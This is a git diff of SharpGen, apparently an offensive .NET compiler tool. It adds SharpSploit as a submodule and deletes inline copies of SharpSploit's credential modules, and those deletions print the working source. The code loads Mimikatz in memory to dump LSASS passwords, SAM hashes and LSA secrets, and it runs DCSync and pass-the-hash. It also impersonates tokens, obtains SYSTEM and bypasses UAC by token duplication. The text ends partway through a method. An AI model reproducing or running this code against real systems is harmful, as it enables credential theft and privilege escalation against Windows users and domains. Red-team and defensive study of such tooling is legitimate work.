diff --git a/.gitmodules b/.gitmodules
new file mode 100644
index 0000000..8f5d556
--- /dev/null
+++ b/.gitmodules
@@ -0,0 +1,4 @@
+[submodule "Source/SharpSploit"]
+ path = Source/SharpSploit
+ url = https://github.com/cobbr/SharpSploit.git
+ branch = master
diff --git a/README.md b/README.md
index f1b6b4a..d79a55c 100644
--- a/README.md
+++ b/README.md
@@ -13,6 +13,7 @@ The most basic usage of SharpGen would be to provide SharpGen an output filename
```
cobbr@mac:~ > git clone https://github.com/cobbr/SharpGen
cobbr@mac:~ > cd SharpGen
+cobbr@mac:~/SharpGen > git submodule update --init --recursive
cobbr@mac:~/SharpGen > dotnet build
cobbr@mac:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"
[+] Compiling source:
diff --git a/References/net35/System.DirectoryServices.Protocols.dll b/References/net35/System.DirectoryServices.Protocols.dll
new file mode 100755
index 0000000..ef1b48d
Binary files /dev/null and b/References/net35/System.DirectoryServices.Protocols.dll differ
diff --git a/References/net35/System.XML.dll b/References/net35/System.XML.dll
new file mode 100755
index 0000000..7dec7b5
Binary files /dev/null and b/References/net35/System.XML.dll differ
diff --git a/References/net40/System.DirectoryServices.Protocols.dll b/References/net40/System.DirectoryServices.Protocols.dll
new file mode 100755
index 0000000..64649eb
Binary files /dev/null and b/References/net40/System.DirectoryServices.Protocols.dll differ
diff --git a/References/net40/System.XML.dll b/References/net40/System.XML.dll
new file mode 100755
index 0000000..bc09fc4
Binary files /dev/null and b/References/net40/System.XML.dll differ
diff --git a/References/references.yml b/References/references.yml
index 315f207..44f397b 100644
--- a/References/references.yml
+++ b/References/references.yml
@@ -16,9 +16,15 @@
- File: System.DirectoryServices.dll
Framework: Net35
Enabled: true
+- File: System.DirectoryServices.Protocols.dll
+ Framework: Net35
+ Enabled: true
- File: System.Management.Automation.dll
Framework: Net35
Enabled: true
+- File: System.XML.dll
+ Framework: Net35
+ Enabled: true
- File: mscorlib.dll
Framework: Net40
Enabled: true
@@ -37,6 +43,12 @@
- File: System.DirectoryServices.dll
Framework: Net40
Enabled: true
+- File: System.DirectoryServices.Protocols.dll
+ Framework: Net40
+ Enabled: true
- File: System.Management.Automation.dll
Framework: Net40
- Enabled: true
\ No newline at end of file
+ Enabled: true
+- File: System.XML.dll
+ Framework: Net40
+ Enabled: true
diff --git a/SharpGen.csproj b/SharpGen.csproj
index 4466962..4f9bca8 100644
--- a/SharpGen.csproj
+++ b/SharpGen.csproj
@@ -59,77 +59,84 @@
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Source/SharpSploit b/Source/SharpSploit
new file mode 160000
index 0000000..ec3e799
--- /dev/null
+++ b/Source/SharpSploit
@@ -0,0 +1 @@
+Subproject commit ec3e7999502c51e481915fd1f4b028d8c0ff3d5c
diff --git a/Source/SharpSploit/Credentials/Mimikatz.cs b/Source/SharpSploit/Credentials/Mimikatz.cs
deleted file mode 100644
index 13d2df0..0000000
--- a/Source/SharpSploit/Credentials/Mimikatz.cs
+++ /dev/null
@@ -1,209 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Text;
-using System.Net.NetworkInformation;
-using System.Runtime.InteropServices;
-
-using SharpSploit.Misc;
-using SharpSploit.Execution;
-
-namespace SharpSploit.Credentials
-{
- ///
- /// (SharpSploit.Credentials.)Mimikatz is a library for executing Mimikatz functions. SharpSploit's implementation
- /// uses a PE Loader to execute Mimikatz functions. This is a wrapper class that loads the PE and executes user-
- /// specified Mimikatz functions
- ///
- ///
- /// Mimikatz is a tool for playing with credentials in Windows, written by Benjamin Delpy (@gentilkiwi). (Found
- /// at https://github.com/gentilkiwi/mimikatz).
- /// SharpSploit's PE Loader is adapted from work by Casey Smith (@subtee). (No longer available at original location.)
- /// This wrapper class is adapted from Chris Ross (@xorrior)'s implementation. (Found
- /// at https://github.com/xorrior/Random-CSharpTools/tree/master/DllLoader/DllLoader)
- ///
- public static class Mimikatz
- {
- private static byte[] PEBytes32 { get; set; }
- private static byte[] PEBytes64 { get; set; }
-
- private static PE MimikatzPE { get; set; } = null;
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- private delegate IntPtr MimikatzType(IntPtr command);
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command.
- ///
- /// Mimikatz command to be executed.
- /// Mimikatz output.
- public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords")
- {
- // Console.WriteLine(String.Join(",", System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames()));
- if (MimikatzPE == null)
- {
- string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames();
- if (IntPtr.Size == 4 && MimikatzPE == null)
- {
- if (PEBytes32 == null)
- {
- PEBytes32 = Utilities.GetEmbeddedResourceBytes("powerkatz_x86.dll");
- if (PEBytes32 == null) { return ""; }
- }
- MimikatzPE = PE.Load(PEBytes32);
- }
- else if (IntPtr.Size == 8 && MimikatzPE == null)
- {
- if (PEBytes64 == null)
- {
- PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll");
- if (PEBytes64 == null) { return ""; }
- }
- MimikatzPE = PE.Load(PEBytes64);
- }
- }
- if (MimikatzPE == null) { return ""; }
- IntPtr functionPointer = MimikatzPE.GetFunctionExport("powershell_reflective_mimikatz");
- if (functionPointer == IntPtr.Zero) { return ""; }
-
- MimikatzType mimikatz = (MimikatzType) Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType));
- IntPtr input = Marshal.StringToHGlobalUni(Command);
- try
- {
- IntPtr output = mimikatz(input);
- return Marshal.PtrToStringUni(output);
- }
- catch (Exception e)
- {
- Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
- return "";
- }
- }
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatzcommand to retrieve plaintext
- /// passwords from LSASS. Equates to `Command("privilege::debug sekurlsa::logonPasswords")`. (Requires Admin)
- ///
- /// Mimikatz output.
- public static string LogonPasswords()
- {
- return Command("privilege::debug sekurlsa::logonPasswords");
- }
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve password hashes
- /// from the SAM database. Equates to `Command("privilege::debug lsadump::sam")`. (Requires Admin)
- ///
- /// Mimikatz output.
- public static string SamDump()
- {
- return Command("privilege::debug lsadump::sam");
- }
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve LSA secrets
- /// stored in registry. Equates to `Command("privilege::debug lsadump::secrets")`. (Requires Admin)
- ///
- /// Mimikatz output.
- public static string LsaSecrets()
- {
- return Command("privilege::debug lsadump::secrets");
- }
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Domain
- /// Cached Credentials hashes from registry. Equates to `Command("privilege::debug lsadump::cache")`.
- /// (Requires Admin)
- ///
- /// Mimikatz output.
- public static string LsaCache()
- {
- return Command("privilege::debug lsadump::cache");
- }
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Wdigest
- /// credentials from registry. Equates to `Command("sekurlsa::wdigest")`.
- ///
- /// Mimikatz output.
- public static string Wdigest()
- {
- return Command("sekurlsa::wdigest");
- }
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes each of the builtin local commands (not DCSync). (Requires Admin)
- ///
- /// Mimikatz output.
- public static string All()
- {
- StringBuilder builder = new StringBuilder();
- builder.AppendLine(LogonPasswords());
- builder.AppendLine(SamDump());
- builder.AppendLine(LsaSecrets());
- builder.AppendLine(LsaCache());
- builder.AppendLine(Wdigest());
- return builder.ToString();
- }
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes the "dcsync" module to retrieve the NTLM hash of a specified (or all) Domain user. (Requires Domain Admin)
- ///
- /// Username to retrieve NTLM hash for. "All" for all domain users.
- /// Optionally specify an alternative fully qualified domain name. Default is current domain.
- /// Optionally specify a specific Domain Controller to target for the dcsync.
- /// The NTLM hash of the target user(s).
- public static string DCSync(string user, string FQDN = null, string DC = null)
- {
- string command = "lsadump::dcsync";
- if (user.ToLower() == "all")
- {
- command += " /all";
- }
- else
- {
- command += " /user:" + user;
- }
- if (FQDN != null)
- {
- command += " /domain:" + FQDN;
- }
- else
- {
- command += " /domain:" + IPGlobalProperties.GetIPGlobalProperties().DomainName;
- }
- if (DC != null)
- {
- command += " /dc:" + DC;
- }
- return Command(command);
- }
-
- ///
- /// Loads the Mimikatz PE with `PE.Load()` and executes the "pth" module to start a new process
- /// as a user using an NTLM password hash for authentication.
- ///
- /// Username to authenticate as.
- /// NTLM hash to authenticate the user.
- /// Optionally specify an alternative fully qualified domain name. Default is current domain.
- /// The command to execute as the specified user.
- ///
- public static string PassTheHash(string user, string NTLM, string FQDN = null, string run = "cmd.exe")
- {
- string command = "sekurlsa::pth";
- command += " /user:" + user;
- if (FQDN != null)
- {
- command += " /domain:" + FQDN;
- }
- else
- {
- command += " /domain:" + IPGlobalProperties.GetIPGlobalProperties().DomainName;
- }
- command += " /ntlm:" + NTLM;
- command += " /run:" + run;
- return Command(command);
- }
- }
-}
diff --git a/Source/SharpSploit/Credentials/Tokens.cs b/Source/SharpSploit/Credentials/Tokens.cs
deleted file mode 100644
index 0cfb202..0000000
--- a/Source/SharpSploit/Credentials/Tokens.cs
+++ /dev/null
@@ -1,658 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Text;
-using System.Linq;
-using System.Diagnostics;
-using System.ComponentModel;
-using System.Security.Principal;
-using System.Collections.Generic;
-using System.Runtime.InteropServices;
-
-using SharpSploit.Execution;
-
-namespace SharpSploit.Credentials
-{
- ///
- /// Tokens is a library for token manipulation that can be used to impersonate other users, run commands as other user,
- /// and/or to bypass UAC using token duplication.
- ///
- ///
- /// Tokens is adapted from and borrows heavily from Alexander Leary's (@0xbadjuju) Tokenvator (Found
- /// at https://github.com/0xbadjuju/Tokenvator).
- ///
- public class Tokens : IDisposable
- {
- private List OpenHandles = new List();
-
- ///
- /// Creates the Tokens class, attempts to obtain the current process' token, and obtain the SeDebugPrivilege.
- ///
- public Tokens()
- {
- IntPtr currentProcessToken = this.GetCurrentProcessToken();
- if (currentProcessToken == IntPtr.Zero)
- {
- return;
- }
-
- this.EnableTokenPrivilege(ref currentProcessToken, "SeDebugPrivilege");
- }
-
- ~Tokens()
- {
- Dispose();
- }
-
- ///
- /// Attempts to close all open handles.
- ///
- public void Dispose()
- {
- foreach (IntPtr handle in this.OpenHandles)
- {
- this.CloseHandle(handle, false);
- }
- this.OpenHandles.Clear();
- }
-
- ///
- /// Gets the username of the currently used/impersonated token.
- ///
- /// Current username.
- public string WhoAmI()
- {
- return WindowsIdentity.GetCurrent().Name;
- }
-
- ///
- /// Find a process owned by the specificied user and impersonate the token. Used to execute subsequent commands
- /// as the specified user. (Requires Admin)
- ///
- /// User to impersonate. "DOMAIN\Username" format expected.
- /// True if impersonation succeeds, false otherwise.
- public bool ImpersonateUser(string Username)
- {
- List userProcessTokens = this.GetUserProcessTokensForUser(Username);
- Console.WriteLine("Processes for " + Username + ": " + userProcessTokens.Count);
- foreach (UserProcessToken userProcessToken in userProcessTokens)
- {
- Console.WriteLine("Attempting to impersonate: " + Username);
- if (this.ImpersonateProcess((UInt32)userProcessToken.Process.Id))
- {
- Console.WriteLine("Impersonated: " + WindowsIdentity.GetCurrent().Name);
- return true;
- }
- }
- return false;
- }
-
- ///
- /// Impersonate the token of the specified process. Used to execute subsequent commands as the user associated
- /// with the token of the specified process. (Requires Admin)
- ///
- /// Process ID of the process to impersonate.
- /// True if impersonation succeeds, false otherwise.
- public bool ImpersonateProcess(UInt32 ProcessID)
- {
- IntPtr hProcessToken = GetTokenForProcess(ProcessID);
- if (hProcessToken == IntPtr.Zero)
- {
- return false;
- }
-
- Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES();
- IntPtr hDuplicateToken = IntPtr.Zero;
- if (!Win32.Advapi32.DuplicateTokenEx(
- hProcessToken,
- (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
- ref securityAttributes,
- Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
- Win32.WinNT.TOKEN_TYPE.TokenPrimary,
- out hDuplicateToken
- )
- )
- {
- Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- this.CloseHandle(hProcessToken);
- return false;
- }
- this.OpenHandles.Add(hDuplicateToken);
-
- if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken))
- {
- Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- this.CloseHandle(hProcessToken);
- this.CloseHandle(hDuplicateToken);
- return false;
- }
- this.CloseHandle(hProcessToken);
- return true;
- }
-
- ///
- /// Impersonate the SYSTEM user. Equates to `ImpersonateUser("NT AUTHORITY\SYSTEM")`. (Requires Admin)
- ///
- /// True if impersonation succeeds, false otherwise.
- public bool GetSystem()
- {
- Console.WriteLine("Getting system...");
- SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null);
- NTAccount systemAccount = (NTAccount)securityIdentifier.Translate(typeof(NTAccount));
- Console.WriteLine("Impersonate " + systemAccount.ToString() + "...");
-
- return this.ImpersonateUser(systemAccount.ToString());
- }
-
- ///
- /// Bypasses UAC through token duplication and spawns a specified process. (Requires Admin)
- ///
- /// The binary to execute with high integrity.
- /// Arguments to pass to the binary.
- /// Path that the binary resides in.
- /// Specify the process for which to perform token duplication. By deafult (0), all
- /// appropriate processes will be tried.
- /// True if UAC bypass succeeeds, false otherwise.
- ///
- /// Credit for the UAC bypass token duplication technique goes to James Forshaw (@tiraniddo).
- /// Credit for the PowerShell implementation of this bypass goes to Matt Nelson (@enigma0x3).
- ///
- public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string Path = "C:\\WINDOWS\\System32\\", int ProcessId = 0)
- {
- string Username = WindowsIdentity.GetCurrent().Name;
- List processes = ProcessId == 0 ?
- this.GetUserProcessTokens(true).Select(UPT => UPT.Process).ToList() :
- new List { Process.GetProcessById(ProcessId) };
- Console.WriteLine("Elevated processes: " + processes.Count);
- foreach (Process process in processes)
- {
- // Get PrimaryToken
- IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, (UInt32)process.Id);
- if (hProcess == IntPtr.Zero)
- {
- Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
- this.OpenHandles.Add(hProcess);
-
- IntPtr hProcessToken = IntPtr.Zero;
- if (!Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken))
- {
- Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
- this.OpenHandles.Add(hProcessToken);
- this.CloseHandle(hProcess);
-
- Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES();
- IntPtr hDuplicateToken = IntPtr.Zero;
- if (!Win32.Advapi32.DuplicateTokenEx(
- hProcessToken,
- (UInt32)Win32.Advapi32.TOKEN_ALL_ACCESS,
- ref securityAttributes,
- Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
- Win32.WinNT.TOKEN_TYPE.TokenPrimary,
- out hDuplicateToken)
- )
- {
- Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
- this.OpenHandles.Add(hDuplicateToken);
- this.CloseHandle(hProcessToken);
-
- // SetTokenInformation
- Win32.WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new Win32.WinNT._SID_IDENTIFIER_AUTHORITY();
- pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 };
- byte nSubAuthorityCount = 1;
- IntPtr pSid = new IntPtr();
- if (!Win32.Advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSid))
- {
- Console.Error.WriteLine("AllocateAndInitializeSid() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
-
- Win32.WinNT._SID_AND_ATTRIBUTES sidAndAttributes = new Win32.WinNT._SID_AND_ATTRIBUTES();
- sidAndAttributes.Sid = pSid;
- sidAndAttributes.Attributes = Win32.WinNT.SE_GROUP_INTEGRITY_32;
-
- Win32.WinNT._TOKEN_MANDATORY_LABEL tokenMandatoryLevel = new Win32.WinNT._TOKEN_MANDATORY_LABEL();
- tokenMandatoryLevel.Label = sidAndAttributes;
- Int32 tokenMandatoryLabelSize = Marshal.SizeOf(tokenMandatoryLevel);
-
- if (Win32.NtDll.NtSetInformationToken(hDuplicateToken, 25, ref tokenMandatoryLevel, tokenMandatoryLabelSize) != 0)
- {
- Console.Error.WriteLine("NtSetInformationToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
-
- IntPtr hFilteredToken = IntPtr.Zero;
- if (Win32.NtDll.NtFilterToken(hDuplicateToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref hFilteredToken) != 0)
- {
- Console.Error.WriteLine("NtFilterToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
- this.OpenHandles.Add(hFilteredToken);
- this.CloseHandle(hDuplicateToken);
-
- // ImpersonateUser
- Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes2 = new Win32.WinBase._SECURITY_ATTRIBUTES();
- IntPtr hDuplicateToken2 = IntPtr.Zero;
- if (!Win32.Advapi32.DuplicateTokenEx(
- hFilteredToken,
- (UInt32)(Win32.Advapi32.TOKEN_IMPERSONATE | Win32.Advapi32.TOKEN_QUERY),
- ref securityAttributes2,
- Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
- Win32.WinNT.TOKEN_TYPE.TokenImpersonation,
- out hDuplicateToken2)
- )
- {
- Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
- this.OpenHandles.Add(hDuplicateToken2);
- this.CloseHandle(hFilteredToken);
-
- if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken2))
- {
- Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
-
- Win32.ProcessThreadsAPI._STARTUPINFO startupInfo = new Win32.ProcessThreadsAPI._STARTUPINFO();
- startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Win32.ProcessThreadsAPI._STARTUPINFO));
- Win32.ProcessThreadsAPI._PROCESS_INFORMATION processInformation = new Win32.ProcessThreadsAPI._PROCESS_INFORMATION();
- if (!Win32.Advapi32.CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName, "password",
- 0x00000002, Path + Binary, Path + Binary + " " + Arguments, 0x04000000, IntPtr.Zero, Path, ref startupInfo, out processInformation))
- {
- Console.Error.WriteLine("CreateProcessWithLogonW() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- continue;
- }
-
- return this.RevertToSelf();
- }
- return false;
-
- }
-
- ///
- /// Makes a new token to run a specified function as a specified user with a specified password. Automatically calls
- /// `RevertToSelf()` after executing the function.
- ///
- /// Type of object to be return by the Action function.
- /// Username to execute Action as.
- /// Domain to authenticate the user to.
- /// Password to authenticate the user.
- /// Action to perform as the user
- /// LogonType to use. Defaults to LOGON32_LOGON_INTERACTIVE, which is suitable for local
- /// actions. LOGON32_LOGON_NEW_CREDENTIALS is suitable to perform actions which require remote authentication.
- /// Object returned by the Action function.
- ///
- /// Credit to https://github.com/mj1856/SimpleImpersonation for the awesome Func(T) idea.
- ///
- public T RunAs(string Username, string Domain, string Password, Func Action, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_INTERACTIVE)
- {
- IntPtr hProcessToken = IntPtr.Zero;
- if (!Win32.Advapi32.LogonUserA(
- Username, Domain, Password,
- LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT,
- out hProcessToken))
- {
- Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return default(T);
- }
- this.OpenHandles.Add(hProcessToken);
-
- if (!Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken))
- {
- Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- this.CloseHandle(hProcessToken);
- return default(T);
- }
-
- T results = Action();
- this.RevertToSelf();
- return results;
- }
-
- ///
- /// Makes a new token with a specified username and password, and impersonates it to conduct future actions as
- /// the specified user.
- ///
- /// Username to authenticate as.
- /// Domain to authenticate the user to.
- /// Password to authenticate the user.
- /// LogonType to use. Defaults to LOGON32_LOGON_NEW_CREDENTIALS, which is suitable to
- /// perform actions which require remote authentication. LOGON32_LOGON_INTERACTIVE is suitable for local actions
- /// True if impersonation succeeds, false otherwise.
- ///
- /// Credit to @rsmudge for the technique detailed here: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials
- ///
- public bool MakeToken(string Username, string Domain, string Password, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS)
- {
- IntPtr hProcessToken = IntPtr.Zero;
- if (!Win32.Advapi32.LogonUserA(
- Username, Domain, Password,
- LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT,
- out hProcessToken)
- )
- {
- Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return false;
- }
- this.OpenHandles.Add(hProcessToken);
-
- if (!Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken))
- {
- Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- this.CloseHandle(hProcessToken);
- return false;
- }
- return true;
- }
-
- ///
- /// Ends the impersonation of any token, reverting back to the initial token associated with the current process.
- /// Useful in conjuction with functions that impersonate a token and do not automatically RevertToSelf, such
- /// as: `ImpersonateUser()`, `ImpersonateProcess()`, `GetSystem()`, and `MakeToken()`.
- ///
- /// True if RevertToSelf succeeds, false otherwise.
- public bool RevertToSelf()
- {
- if (!Win32.Advapi32.RevertToSelf())
- {
- Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return false;
- }
- return true;
- }
-
- private List GetUserProcessTokensForUser(string Username, bool Elevated = false)
- {
- return this.GetUserProcessTokens(Elevated).Where(UP => UP.Username.ToLower() == Username.ToLower()).ToList();
- }
-
- private List GetUserProcessTokens(bool Elevated = false)
- {
- return Process.GetProcesses().Select(P =>
- {
- try
- {
- return new UserProcessToken(P);
- }
- catch (CreateUserProcessTokenException e)
- {
- Console.Error.WriteLine("CreateUserProcessTokenException: " + e.Message);
- return null;
- }
- }).Where(P => P != null).Where(P => (!Elevated || P.IsElevated)).ToList();
- }
-
- private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATISTICS tokenStatistics)
- {
- IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32.WinNT._LUID)));
- Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false);
- if(lpLuid == IntPtr.Zero)
- {
- Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
-
- IntPtr ppLogonSessionData = new IntPtr();
- if (Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0)
- {
- Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
- if (ppLogonSessionData == IntPtr.Zero)
- {
- Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
-
- Win32.Secur32._SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (Win32.Secur32._SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(Win32.Secur32._SECURITY_LOGON_SESSION_DATA));
- if (securityLogonSessionData.pSid == IntPtr.Zero || securityLogonSessionData.Username.Buffer == IntPtr.Zero || securityLogonSessionData.LoginDomain.Buffer == IntPtr.Zero)
- {
- Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return "";
- }
-
- return Marshal.PtrToStringUni(securityLogonSessionData.LoginDomain.Buffer) + "\\" + Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer);
- }
-
- private IntPtr GetCurrentProcessToken()
- {
- IntPtr currentProcessToken = new IntPtr();
- if (!Win32.Kernel32.OpenProcessToken(Process.GetCurrentProcess().Handle, Win32.Advapi32.TOKEN_ALL_ACCESS, out currentProcessToken))
- {
- Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return IntPtr.Zero;
- }
- OpenHandles.Add(currentProcessToken);
- return currentProcessToken;
- }
-
- private static bool TokenIsElevated(IntPtr hToken)
- {
- UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32));
- IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32)));
- UInt32 returnLength;
-
- Boolean result = Win32.Advapi32.GetTokenInformation(
- hToken,
- Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenElevationType,
- tokenInformation,
- tokenInformationLength,
- out returnLength
- );
-
- switch ((Win32.WinNT._TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation))
- {
- case Win32.WinNT._TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:
- return false;
- case Win32.WinNT._TOKEN_ELEVATION_TYPE.TokenElevationTypeFull:
- return true;
- case Win32.WinNT._TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited:
- return false;
- default:
- return true;
- }
- }
-
- private IntPtr GetTokenForProcess(UInt32 ProcessID)
- {
- IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_INFORMATION, true, ProcessID);
- if (hProcess == IntPtr.Zero)
- {
- Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return IntPtr.Zero;
- }
- this.OpenHandles.Add(hProcess);
-
- IntPtr hProcessToken = IntPtr.Zero;
- if (!Win32.Kernel32.OpenProcessToken(hProcess, Win32.Advapi32.TOKEN_ALT, out hProcessToken))
- {
- Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
- return IntPtr.Zero;
- }
- this.OpenHandles.Add(hProcessToken);
- this.CloseHandle(hProcess);
-
- return hProcessToken;
- }
-
- private bool CloseHandle(IntPtr handle, bool Remove = true)
- {
- if (Remove) { this.OpenHandles.Remove(handle); }
- return Win32.Kernel32.CloseHandle(handle);
- }
-
- private static List Privileges = new List { "SeAssignPrimaryTokenPrivilege",
- "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
- "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege",
- "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeEnableDelegationPrivilege",
- "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", "SeIncreaseQuotaPrivilege",
- "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege",
- "SeMachineAccountPrivilege", "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege",
- "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", "SeSecurityPrivilege",
- "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege",
- "SeSystemProfilePrivilege", "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege",
- "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
- "SeUndockPrivilege", "SeUnsolicitedInputPrivilege" };
-
- ///
- /// Enables a specified security privilege for a specified token.
- ///
- /// Token to enable a security privilege for.
- /// Privilege to enable.
- /// True if enabling Token succeeds, false otherwise.
- public bool EnableTokenPrivilege(ref IntPtr hToken, string Privilege)
- {
- if (!Privileges.Contains(Privilege))
- {
- return false;
- }
